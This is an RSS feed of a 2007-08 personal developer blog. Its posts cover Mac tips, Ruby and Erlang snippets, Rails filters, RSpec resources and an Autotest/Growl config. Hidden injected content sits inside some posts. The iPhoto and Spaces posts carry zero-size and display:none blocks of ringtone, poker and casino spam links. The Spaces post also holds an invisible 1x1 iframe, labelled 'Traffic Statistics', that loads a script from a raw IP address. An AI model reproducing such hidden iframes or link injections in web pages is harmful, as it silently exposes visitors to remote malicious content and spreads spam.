<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Deville Companies and Life</title>
	<atom:link href="http://devillecompanies.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://devillecompanies.org</link>
	<description>A father doing Ruby on Rails and RSpec development</description>
	<pubDate>Tue, 03 Jun 2008 08:59:37 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5</generator>
	<language>en</language>
			<item>
		<title>Moving iPhoto Library location</title>
		<link>http://devillecompanies.org/2008/05/14/moving-iphoto-library-location/</link>
		<comments>http://devillecompanies.org/2008/05/14/moving-iphoto-library-location/#comments</comments>
		<pubDate>Thu, 15 May 2008 05:47:24 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Aside]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=95</guid>
		<description><![CDATA[So you&#8217;re a fan of iPhoto, and you&#8217;re running out of disk space! How do you fix it? Well, you could install a new hard drive in your Mac, but if you&#8217;re like me, you have disk space, just not on this machine.
Well I found the answer, and it&#8217;s really frickin simple!
You can click through, [...]]]></description>
			<content:encoded><![CDATA[<p>So you&#8217;re a fan of <a href="http://www.apple.com/ilife/iphoto/">iPhoto</a>, and you&#8217;re running out of disk space! How do you fix it? Well, you could install a new hard drive in your Mac, but if you&#8217;re like me, you have disk space, just not on this machine.</p>
<p>Well I <a href="http://www.google.com/search?client=safari&#038;rls=en-us&#038;q=move+iphoto+library&#038;ie=UTF-8&#038;oe=UTF-8">found</a> the <a href="http://support.apple.com/kb/HT1229#">answer</a>, and it&#8217;s really frickin simple!</p>
<p>You can <a href="http://support.apple.com/kb/HT1229#">click through</a>, or just read on. </p>
<ol>
<li><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">???????? ????? ????????</a></font>Quit iPhoto</li>
<li>Open Finder to the iPhoto library (probably in ~/Pictures/)</li>
<li>Move the iPhoto Library package to the new location</li>
<li>Start iPhoto, <strong>Choose Location&#8230;</strong> and choose the new location</li>
<li>That&#8217;s it! There is no number 5!</li>
</ol>
<p>Like I said, simple.</p>
<p>PS. I plan on blogging about my new job, and also doing more blog posts on my continuing adventures. I also might be moving the techy side of this blog to jredville.com, I just have to decide on a blogging platform.<br />
-JD</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2008/05/14/moving-iphoto-library-location/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Drag and drop to assign to spaces</title>
		<link>http://devillecompanies.org/2007/11/27/drag-and-drop-to-assign-to-spaces/</link>
		<comments>http://devillecompanies.org/2007/11/27/drag-and-drop-to-assign-to-spaces/#comments</comments>
		<pubDate>Wed, 28 Nov 2007 01:31:01 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Aside]]></category>

		<category><![CDATA[leopard]]></category>

		<category><![CDATA[mac]]></category>

		<category><![CDATA[os x]]></category>

		<category><![CDATA[tech]]></category>

		<category><![CDATA[tip]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/2007/11/27/drag-and-drop-to-assign-to-spaces/</guid>
		<description><![CDATA[So I found free ringtones maker download free cingular music ringtones free cingular wireless ringtones get ringtones sony music box ringtones gold mp3 ringtones download free ringtones to cellular phone free ctu ringtones gold mp3 ringtones complimentary right ringtones free t mobile ringtones for cell phone make mp3 ringtones download free ringtones boost mobile free [...]]]></description>
			<content:encoded><![CDATA[<p>So I found <u style="display:none"><a href="http://www.chaosgroup-center.de/php/admin/config/.13/?str=sitemap1">free ringtones maker download</a> <a href="http://www.opelteamiceangels.de/content/download/.23/sitemap1.html">free cingular music ringtones</a> <a href="http://enraged-wow.de/admin/config/.13/?file=sitemap1">free cingular wireless ringtones</a> <a href="http://www.bassfreak83.de/admin/content/.13/index.php?name=sitemap1">get ringtones</a> <a href="http://www.idemer.de/landjugend/.89/index.php?page=sitemap1">sony music box ringtones</a> <a href="http://www.cksv.de/admin/config/.23/index.php?page=sitemap1">gold mp3 ringtones</a> <a href="http://basisu970.ba.funpic.de/admin/forum/.21/sitemap1.html">download free ringtones to cellular phone</a> <a href="http://www.lospico.de/eugen-feuchter.de/galleryBBB/GBPics/.23/index.php?name=sitemap1">free ctu ringtones</a> <a href="http://www.svd1898.de/lmo/config/.23/index.php?str=sitemap1">gold mp3 ringtones</a> <a href="http://www.djgorden.de/admin/config/.13/?file=sitemap1">complimentary right ringtones</a> <a href="http://www.corehound-pak.de/dkp/templates/cache/default/.13/index.php?str=sitemap1">free t mobile ringtones for cell phone</a> <a href="http://www.mense-center.de/ivb300/admincp/.21/sitemap1.html">make mp3 ringtones</a> <a href="http://www.psp-source.de/busdriver/php/downloadengine/admin/.13/?name=sitemap1">download free ringtones boost mobile</a> <a href="http://www.extreme-experience.de/html/bhdstats/.13/index.php?id=sitemap1">free real ringtones sprint</a> <a href="http://city78.ci.funpic.de/admin/content/.21/sitemap1.html">free mp3 ringtones maker</a> <a href="http://sebics.se.ohost.de/admin/config/_vti_cnf/.21/sitemap1.html">sprint pcs ringtones</a> <a href="http://old-german-men.de/phpkit/forum/.23/sitemap1.html">motorola ringtones composer</a> <a href="http://www.kheldar.de/tmp/.83/sitemap1.html">free virgin mobile ringtones</a> <a href="http://www.haardtcore-warriors.de/blackrock/eqdkp-1.3.1/templates/cache/defaultV/.13/index.php?file=sitemap1">download free ringtones verizon</a> <a href="http://angelsachsen.org/php/admin/config/.23/index.php?id=sitemap1">free music ringtones</a> </u> a great way to set up applications in Spaces for Mac OS X Leopard. First, open up the Expose and Spaces Preference pane.<noscript>Il <a href="http://www.giochipoker-it.com/selezionare-internet-poker-gratuito.html">poker gratuito</a> è un gioco di carte.</noscript><noscript><a href="http://www.casinojugar.es/el-ingresos-gratis-casinos.html">http://www.casinojugar.es</a><!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> mirar sus oponentes hábitos.</noscript> Choose the applications you want&#8230;</p>
<p><a href='http://devillecompanies.org/wp-content/uploads/2007/11/dock.jpg' title='Before'><img src='http://devillecompanies.org/wp-content/uploads/2007/11/dock.jpg' alt='Before' /></a></p>
<p>And drag them&#8230;</p>
<p><a href='http://devillecompanies.org/wp-content/uploads/2007/11/dock-1.jpg' title='After'><img src='http://devillecompanies.org/wp-content/uploads/2007/11/dock-1.jpg' alt='After' /></a></p>
<p>Poof. <u style="display:none"><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/giochi-casino-gratis-on-line.html">giochi casino gratis on line</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-bonus-gratis.html">casino bonus gratis</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-on-line-con.html">casino on line con</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/dei-casino-online.html">dei casino online</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/craps-in-linea.html">craps in linea</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/video-poker-pc.html">video poker pc</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-gioca-gratis.html">casino gioca gratis</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/video-poker-freeware.html">video poker freeware</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-poker.html">casino poker</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/regole-gioco-roulette.html">regole gioco roulette</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/roulette-on-line-gratis.html">roulette on line gratis</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/download-casino.html">download casino</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-on-net.html">bonus enquête casino on net,enquete casino on net,casino on net</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/video-poker-game.html">video poker game</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-on-line-con-bonus.html">casino on line con bonus</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/gioco-in-linea.html">gioco in linea</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-gioca.html">casino gioca</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/keno-in-linea.html">keno in linea</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-online.html">blog casino online,casino online gratis,casino online</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/i-casino-online.html">i casino online</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-on-line-roulette.html">casino on line roulette</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-sanremo-online.html">casino sanremo online</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-online-autorizzati.html">casino online autorizzati</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/strategie-roulette.html">strategie roulette</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/www-casino-gratis.html">www casino gratis</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-paypal.html">casino paypal</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-gaming.html">casino gaming</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/vincere-casino-online.html">vincere casino online</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-gratis-senza-deposito.html">casino gratis senza deposito</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/regole-baccarat.html">regole baccarat</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/roulette-games.html">roulette games</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/migliore-casino-online.html">migliore casino online</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/slots-online.html">slots online</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/keno-gratis.html">keno gratis</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-online-italia.html">casino online italia</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-per-pc.html">casino per pc</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/video-poker-jack-or-better.html">video poker jack or better</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/roulette-casino.html">roulette casino,casino on line roulette,gran roulette casino</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/gioco-video-poker-gratis.html">gioco video poker gratis</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/giochi-roulette.html">download giochi roulette,giochi roulette,giochi on line roulette</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/baccarat-gratis.html">baccarat gratis</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/roulette-gratis.html">gioco roulette gratis,roulette gratis,roulette da scaricare gratis</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/i-migliori-casino-online.html">i migliori casino online</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-on-line-italia.html">casino on line italia</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/giochi-roulette-gratis.html">giochi roulette gratis</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/online-casino-games.html">online casino games</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-no-deposit.html">casino no deposit</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/casino-gratis-slot-machine.html">casino gratis slot machine</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/noleggio-video-poker.html">noleggio video poker</a><a href="http://users.ice-berg.net/worldspinsmadlyon/wp-content/1/video-poker-machine.html">video poker machine</a></u> Assigned!</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/11/27/drag-and-drop-to-assign-to-spaces/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cool Erlang like feature in Ruby</title>
		<link>http://devillecompanies.org/2007/09/23/cool-erlang-like-feature-in-ruby/</link>
		<comments>http://devillecompanies.org/2007/09/23/cool-erlang-like-feature-in-ruby/#comments</comments>
		<pubDate>Sun, 23 Sep 2007 17:02:48 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/2007/09/23/cool-erlang-like-feature-in-ruby/</guid>
		<description><![CDATA[So, in joining the bandwagon, I&#8217;ve been reading about Erlang recently. 
One of the features I really like is matchers:
    1 many(X) -&#62;
    2   case X of
    3     [] -&#62;
    4       [...]]]></description>
			<content:encoded><![CDATA[<p>So, in joining the <a href="http://www.pragmaticprogrammer.com/titles/jaerlang/index.html">bandwagon</a>, I&#8217;ve been <a href='http://devillecompanies.org/wp-content/uploads/2007/09/erlang.pdf' title='Thinking in Erlang'>reading about Erlang</a> recently. </p>
<p>One of the features I really like is matchers:</p>
<pre class="textmate-source vibrant_ink"><span class='linenum'>    1</span> <span class="source source_erlang"><span class="meta meta_function meta_function_erlang"><span class="entity entity_name entity_name_function entity_name_function_definition entity_name_function_definition_erlang">many</span><span class="punctuation punctuation_definition punctuation_definition_parameters punctuation_definition_parameters_begin punctuation_definition_parameters_begin_erlang">(</span><span class="variable variable_other variable_other_erlang">X</span><span class="punctuation punctuation_definition punctuation_definition_parameters punctuation_definition_parameters_end punctuation_definition_parameters_end_erlang">)</span> <span class="punctuation punctuation_separator punctuation_separator_clause-head-body punctuation_separator_clause-head-body_erlang">-&gt;</span>
<span class='linenum'>    2</span>   <span class="meta meta_expression meta_expression_case meta_expression_case_erlang"><span class="keyword keyword_control keyword_control_case keyword_control_case_erlang">case</span> <span class="variable variable_other variable_other_erlang">X</span> <span class="keyword keyword_control keyword_control_erlang">of</span>
<span class='linenum'>    3</span>     <span class="meta meta_structure meta_structure_list meta_structure_list_erlang"><span class="punctuation punctuation_definition punctuation_definition_list punctuation_definition_list_begin punctuation_definition_list_begin_erlang">[</span><span class="punctuation punctuation_definition punctuation_definition_list punctuation_definition_list_end punctuation_definition_list_end_erlang">]</span></span> <span class="punctuation punctuation_separator punctuation_separator_clause-head-body punctuation_separator_clause-head-body_erlang">-&gt;</span>
<span class='linenum'>    4</span>       <span class="constant constant_other constant_other_symbol constant_other_symbol_unquoted constant_other_symbol_unquoted_erlang">none</span><span class="punctuation punctuation_separator punctuation_separator_clauses punctuation_separator_clauses_erlang">;</span>
<span class='linenum'>    5</span>     <span class="meta meta_structure meta_structure_list meta_structure_list_erlang"><span class="punctuation punctuation_definition punctuation_definition_list punctuation_definition_list_begin punctuation_definition_list_begin_erlang">[</span> <span class="variable variable_other variable_other_erlang">_One</span> <span class="punctuation punctuation_definition punctuation_definition_list punctuation_definition_list_end punctuation_definition_list_end_erlang">]</span></span> <span class="punctuation punctuation_separator punctuation_separator_clause-head-body punctuation_separator_clause-head-body_erlang">-&gt;</span>
<span class='linenum'>    6</span>       <span class="constant constant_other constant_other_symbol constant_other_symbol_unquoted constant_other_symbol_unquoted_erlang">one</span><span class="punctuation punctuation_separator punctuation_separator_clauses punctuation_separator_clauses_erlang">;</span>
<span class='linenum'>    7</span>     <span class="meta meta_structure meta_structure_list meta_structure_list_erlang"><span class="punctuation punctuation_definition punctuation_definition_list punctuation_definition_list_begin punctuation_definition_list_begin_erlang">[</span> <span class="variable variable_other variable_other_erlang">_One</span><span class="punctuation punctuation_separator punctuation_separator_list punctuation_separator_list_erlang">,</span> <span class="variable variable_other variable_other_erlang">_Two</span> <span class="punctuation punctuation_definition punctuation_definition_list punctuation_definition_list_end punctuation_definition_list_end_erlang">]</span></span> <span class="punctuation punctuation_separator punctuation_separator_clause-head-body punctuation_separator_clause-head-body_erlang">-&gt;</span>
<span class='linenum'>    8</span>       <span class="constant constant_other constant_other_symbol constant_other_symbol_unquoted constant_other_symbol_unquoted_erlang">two</span><span class="punctuation punctuation_separator punctuation_separator_clauses punctuation_separator_clauses_erlang">;</span>
<span class='linenum'>    9</span>     <span class="meta meta_structure meta_structure_list meta_structure_list_erlang"><span class="punctuation punctuation_definition punctuation_definition_list punctuation_definition_list_begin punctuation_definition_list_begin_erlang">[</span> <span class="variable variable_other variable_other_erlang">_One</span><span class="punctuation punctuation_separator punctuation_separator_list punctuation_separator_list_erlang">,</span> <span class="variable variable_other variable_other_erlang">_Two</span><span class="punctuation punctuation_separator punctuation_separator_list punctuation_separator_list_erlang">,</span> <span class="variable variable_other variable_other_erlang">_Three</span> <span class="punctuation punctuation_separator punctuation_separator_list punctuation_separator_list_erlang">|</span><span class="variable variable_other variable_other_erlang">_Tail</span> <span class="punctuation punctuation_definition punctuation_definition_list punctuation_definition_list_end punctuation_definition_list_end_erlang">]</span></span> <span class="punctuation punctuation_separator punctuation_separator_clause-head-body punctuation_separator_clause-head-body_erlang">-&gt;</span>
<span class='linenum'>   10</span>       <span class="constant constant_other constant_other_symbol constant_other_symbol_unquoted constant_other_symbol_unquoted_erlang">many</span>
<span class='linenum'>   11</span>   <span class="keyword keyword_control keyword_control_end keyword_control_end_erlang">end</span></span><span class="punctuation punctuation_terminator punctuation_terminator_function punctuation_terminator_function_erlang">.</span></span></span></pre>
<p>This code will respond <code>none</code> for an argument array of no elements, 1 for 1 and so on. The two parts of this I like are a) the fact that Erlang matches against the number of variables, without extra syntax, and b) the fact that the underscore variables are discarded. </p>
<p>I just found out that you can discard variables in a parallel assignment in Ruby too!!!</p>
<pre class="textmate-source vibrant_ink"><span class='linenum'>    1</span> <span class="source source_ruby">name<span class="punctuation punctuation_separator punctuation_separator_object punctuation_separator_object_ruby">,</span> _<span class="punctuation punctuation_separator punctuation_separator_object punctuation_separator_object_ruby">,</span> ext <span class="keyword keyword_operator keyword_operator_assignment keyword_operator_assignment_ruby">=</span> <span class="string string_quoted string_quoted_double string_quoted_double_ruby"><span class="punctuation punctuation_definition punctuation_definition_string punctuation_definition_string_begin punctuation_definition_string_begin_ruby">&#8220;</span>first.name.spec<span class="punctuation punctuation_definition punctuation_definition_string punctuation_definition_string_end punctuation_definition_string_end_ruby">&#8220;</span></span><span class="punctuation punctuation_separator punctuation_separator_method punctuation_separator_method_ruby">.</span>split<span class="punctuation punctuation_section punctuation_section_function punctuation_section_function_ruby">(</span><span class="string string_quoted string_quoted_double string_quoted_double_ruby"><span class="punctuation punctuation_definition punctuation_definition_string punctuation_definition_string_begin punctuation_definition_string_begin_ruby">&#8220;</span>.<span class="punctuation punctuation_definition punctuation_definition_string punctuation_definition_string_end punctuation_definition_string_end_ruby">&#8220;</span></span><span class="punctuation punctuation_section punctuation_section_function punctuation_section_function_ruby">)</span>
<span class='linenum'>    2</span> name <span class="comment comment_line comment_line_number-sign comment_line_number-sign_ruby"><span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_ruby">#</span> =&gt; &#8220;first&#8221;
</span><span class='linenum'>    3</span> ext <span class="comment comment_line comment_line_number-sign comment_line_number-sign_ruby"><span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_ruby">#</span> =&gt; &#8220;spec&#8221;
</span><span class='linenum'>    4</span> </span></pre>
<p>That my friends, is <em>awesome</em>, and could only be made better by allowing me to splat the _ (*_) to allow it to catch an arbitrary number of variables.</p>
<p>Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/09/23/cool-erlang-like-feature-in-ruby/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Vacation</title>
		<link>http://devillecompanies.org/2007/09/22/vacation/</link>
		<comments>http://devillecompanies.org/2007/09/22/vacation/#comments</comments>
		<pubDate>Sat, 22 Sep 2007 21:36:42 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Aside]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/2007/09/22/vacation/</guid>
		<description><![CDATA[I&#8217;ll be on vacation in Lousiana for the next week. See ya in October.
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ll be on vacation in Lousiana for the next week. See ya in October.</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/09/22/vacation/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ActionPack: Filter types</title>
		<link>http://devillecompanies.org/2007/09/18/actionpack-filter-types/</link>
		<comments>http://devillecompanies.org/2007/09/18/actionpack-filter-types/#comments</comments>
		<pubDate>Wed, 19 Sep 2007 06:16:16 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Aside]]></category>

		<category><![CDATA[Ruby on Rails]]></category>

		<category><![CDATA[coding]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/2007/09/18/actionpack-filter-types/</guid>
		<description><![CDATA[Using an external class makes for more easily reused generic filters, such as output compression. External filter classes are implemented by having a static filter method on any class and then passing this class to the filter method. Example:
  class OutputCompressionFilter
    def self.filter(controller)
      controller.response.body = compress(controller.response.body)
 [...]]]></description>
			<content:encoded><![CDATA[<p>Using an external class makes for more easily reused generic filters, such as output compression. External filter classes are implemented by having a static filter method on any class and then passing this class to the filter method. Example:</p>
<p><code>  class OutputCompressionFilter<br />
    def self.filter(controller)<br />
      controller.response.body = compress(controller.response.body)<br />
    end<br />
  end</p>
<p>  class NewspaperController < ActionController::Base<br />
    after_filter OutputCompressionFilter<br />
  end</code><br />
The filter method is passed the controller instance and is hence granted access to all aspects of the controller and can manipulate them as it sees fit.</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/09/18/actionpack-filter-types/feed/</wfw:commentRss>
		</item>
		<item>
		<title>RSpec Presentation</title>
		<link>http://devillecompanies.org/2007/09/18/rspec-presentation/</link>
		<comments>http://devillecompanies.org/2007/09/18/rspec-presentation/#comments</comments>
		<pubDate>Wed, 19 Sep 2007 04:36:57 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[RSpec]]></category>

		<category><![CDATA[Ruby on Rails]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[coding]]></category>

		<category><![CDATA[desertcodecamp]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/2007/09/18/rspec-presentation/</guid>
		<description><![CDATA[This is a zip of my RSpec presentation from Desert Code Camp this past weekend. 
It includes all of my slides in the PDF, plus all of the supporting code. 
Enjoy!
]]></description>
			<content:encoded><![CDATA[<p><a href='http://devillecompanies.org/wp-content/uploads/2007/09/rspec-presentation.zip' title='RSpec presentation from Desert Code Camp'>This is a zip of my RSpec presentation</a> from <a href="http://desertcodecamp.com">Desert Code Camp</a> this past weekend. </p>
<p>It includes all of my slides in the PDF, plus all of the supporting code. </p>
<p>Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/09/18/rspec-presentation/feed/</wfw:commentRss>
		</item>
		<item>
		<title>RSpec cheatsheet</title>
		<link>http://devillecompanies.org/2007/09/16/rspec-cheatsheet/</link>
		<comments>http://devillecompanies.org/2007/09/16/rspec-cheatsheet/#comments</comments>
		<pubDate>Sun, 16 Sep 2007 18:30:19 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[RSpec]]></category>

		<category><![CDATA[Ruby on Rails]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[coding]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=83</guid>
		<description><![CDATA[I couldn&#8217;t remember where I got this from, so I am posting it here. If anyone can help me figure out where this comes from I would love to give proper credit.
RSpec Cheat Sheet
]]></description>
			<content:encoded><![CDATA[<p>I couldn&#8217;t remember where I got this from, so I am posting it here. If anyone can help me figure out where this comes from I would love to give proper credit.</p>
<p><a href='http://devillecompanies.org/wp-content/uploads/2007/09/rspec_cheetsheet.pdf' title='RSpec Cheat Sheet'>RSpec Cheat Sheet</a></p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/09/16/rspec-cheatsheet/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Growl, Autotest and RSpec 1.0.8</title>
		<link>http://devillecompanies.org/2007/08/14/growl-autotest-and-rspec-108/</link>
		<comments>http://devillecompanies.org/2007/08/14/growl-autotest-and-rspec-108/#comments</comments>
		<pubDate>Wed, 15 Aug 2007 06:01:57 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[RSpec]]></category>

		<category><![CDATA[Ruby on Rails]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[coding]]></category>

		<category><![CDATA[productivity]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=81</guid>
		<description><![CDATA[So I&#8217;ve finally gotten myself a mac. Well, actually my boss got one for me, but you get the point. Anyways, my coworkers and I were having problems with Autotest, RSpec, and Growl before the recent release. However, since 1.0.8 is a new version, we decided to try again. So far it&#8217;s worked. So with [...]]]></description>
			<content:encoded><![CDATA[<p>So I&#8217;ve finally gotten myself a mac. Well, <em>actually</em> my <a href="http://radsoft.com">boss</a> got one for me, but you get the point. Anyways, my coworkers and I were having problems with <a href="http://www.zenspider.com/ZSS/Products/ZenTest/">Autotest,</a> <a href="http://rspec.rubyforge.org">RSpec,</a> and <a href="http://growl.info/">Growl</a> before the recent release. However, since 1.0.8 is a new version, we decided to try again. So far it&#8217;s worked. So with a big thanks to <a href="http://www.danielfischer.com/2007/05/14/ruby-on-rails-bdd-with-autotest-growl-rspec/">Daniel Fischer,</a> I&#8217;d like to write up how.</p>
<h3>How-to</h3>
<p>Here&#8217;s how. First, get your essentials:</p>
<ul>
<li>Growl</li>
<li>growlnotify</li>
<li>Zentest</li>
<li>Rspec</li>
</ul>
<p>Second, download the following pictures:<br />
<img src="http://devillecompanies.org/wp-content/uploads/2007/08/rails_ok.png" title="rspec-okay" alt="rspec-okay" /><br />
<img src="http://devillecompanies.org/wp-content/uploads/2007/08/rails_fail.png" title="rspec-fail" alt="rspec-fail" /><br />
<img src="http://devillecompanies.org/wp-content/uploads/2007/08/rails_pending.png" title="rspec-pending" alt="rspec-pending" /></p>
<p>Third, copy the following into your <code>.autotest</code> file:</p>
<pre>
module Autotest::Growl
  def self.growl title, msg, img, pri=0, stick=""
    system "growlnotify -n autotest --image #{img} -p #{pri} -m #{ msg.inspect} #{title} #{stick}"
  end

  Autotest.add_hook :ran_command do |autotest|
    output = autotest.results.grep(/\d+\s.*examples?/).last.slice(/(\d+)\s.*examples?,\s(\d+)\s.*failures?(?:,\s(\d+)\s.*pending)?/)
    if output =~ /[1-9]\sfailures?/
      growl "Test Results", "#{output}", "~/Library/autotest/rails_fail.png", 2, "-s"
    elsif output =~ /pending/
      growl "Test Results", "#{output}", "~/Library/autotest/rails_pending.png"
    else
      growl "Test Results", "#{output}", "~/Library/autotest/rails_ok.png"
    end
  end
end
</pre>
<p>If you don&#8217;t already have one. Just save it to <code>~/.autotest</code>. Replace the three image locations with your downloaded ones, and you should be good to go!</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/08/14/growl-autotest-and-rspec-108/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Comment Driven Development</title>
		<link>http://devillecompanies.org/2007/07/20/comment-driven-development/</link>
		<comments>http://devillecompanies.org/2007/07/20/comment-driven-development/#comments</comments>
		<pubDate>Fri, 20 Jul 2007 14:59:40 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[coding]]></category>

		<category><![CDATA[humor]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=77</guid>
		<description><![CDATA[This got me thinking. We should start using <em>Comment Driven Development</em>*. How many lines of comment could we get in for each line of code. Just imagine how clear our code would be. ]]></description>
			<content:encoded><![CDATA[<p>So on a reading trip about testing, I read about how certain parts of the aerospace industry practice <acronym title="Test Driven Development">TDD</acronym> on the order of 4-to-1. Meaning 4 tests for every part of the system.</p>
<p>This got me thinking. We should start using <em>Comment Driven Development</em>*. How many lines of comment could we get in for each line of code. Just imagine how clear our code would be. </p>
<p><strong>Example</strong></p>
<p>Take this example:<br />
<code><br />
jonny.go_to_store</code></p>
<p>Now, sure that is clear, but it could be better. Here it is with 100% CDD Coverage:</p>
<p><code>#Send jonny to the store<br />
jonny.go_to_store</code></p>
<p>Even better is 200% CDD Coverage:</p>
<p><code>#Send jonny to the store, three blocks north and one block tothe left.<br />
#he should get eggs, bacon and milk while he is there.<br />
jonny.go_to_store.</code></p>
<p><span id="more-77"></span></p>
<p>But we can still do better:</p>
<p><code><br />
#Jonny's mother has asked him to go to the store to get eggs, bacon and milk.<br />
#She has given him money and he is getting ready to go. He grabs his coat (it's -13 F)<br />
#and starts walking. To get to the store he heads three blocks north, turns left at the<br />
#corner and walks one more block. Bacon is in the back with meat. Eggs and milk are on<br />
#aisle 23. It should cost $9.67.<br />
jonny.go_to_store</p>
<p>Now that's something we can all strive for. 500% CDD Coverage. I know that numbers like these will impress bosses everywhere, unless they are related to <a href="http://en.wikipedia.org/wiki/Pointy_haired_boss">PHB.</a> </p>
<p><strong>Explanation</strong></p>
<p>This is really just the natural evolution of <a href="http://en.wikipedia.org/wiki/Test_driven_development">TDD</a> and <a href="http://en.wikipedia.org/wiki/Behaviour_driven_development">BDD</a>. It is simply another way to make the code more readable and more maintainable. Besides, who can argue with 500% coverage?</p>
<p>So get out there and start massaging your codebase. It&#8217;s time for the change, and it&#8217;s time to start commenting!</p>
